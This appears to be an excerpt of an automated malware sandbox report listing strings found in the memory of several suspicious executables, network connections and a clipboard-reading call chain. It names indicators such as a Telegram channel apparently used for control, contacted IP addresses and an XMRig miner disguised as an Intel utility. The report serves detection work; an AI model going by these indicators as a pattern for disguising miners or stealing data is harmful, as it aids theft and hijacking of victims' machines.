Source: d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/J&
Source: d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2802626123.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2967658282.000000000045A000.00000040.00000001.01000000.00000011.sdmp, d6cdb1061b.exe, 00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2973064073.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2781014308.0000000002320000.00000004.00001000.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2802626123.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0r
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://t.me/detct0rd0wntgMozilla/5.0
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comnetwork.proxy.backup.socks_portchrome://browser/skin/menu.svgbrowser.u
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: d6cdb1061b.exe, 00000029.00000003.2802626123.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE7AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000037.00000002.3350190811.00000231031BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000037.00000003.2908344073.00000230FAC20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908493891.00000230FAC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908166117.00000230FAA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3042482082.00000230F8730000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000037.00000002.2979620293.0000007B6C20C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3357568201.000004C312904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3004995776.00000230F68A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 1747150d4f.exe, 00000007.00000003.2799121766.0000000003E6C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/startQuery/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 1747150d4f.exe, 00000007.00000003.2799121766.0000000003E6C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000037.00000002.2979620293.0000007B6C20C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000037.00000002.3004995776.00000230F68D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/get
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/nsIXPCComponents_Constructorset
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3004411668.00000230F6703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000037.00000002.3350190811.0000023103158000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s
Source: firefox.exe, 00000037.00000002.3337856699.00000230FD2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3343798104.00000230FE4D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000037.00000002.3355984254.000002310520B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3339097528.00000230FD344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000037.00000002.3337035452.00000230FD196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google
Source: firefox.exe, 00000037.00000002.3350190811.0000023103103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3333343430.00000230FCD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.2995027650.00000230EAC40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000035.00000002.2893476145.0000025506659000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000036.00000002.2904937527.0000014713861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000037.00000002.2997538294.00000230EC6D7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB767000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3041615781.00000230F85E1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.2997538294.00000230EC6A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountREADER_MODE_DOWNLOAD_RESULT
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comfeatureUpdate:majorRelease2022
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comvalidate/chromeModifiers

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888

Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49941 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

7_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

7_2_00431A30

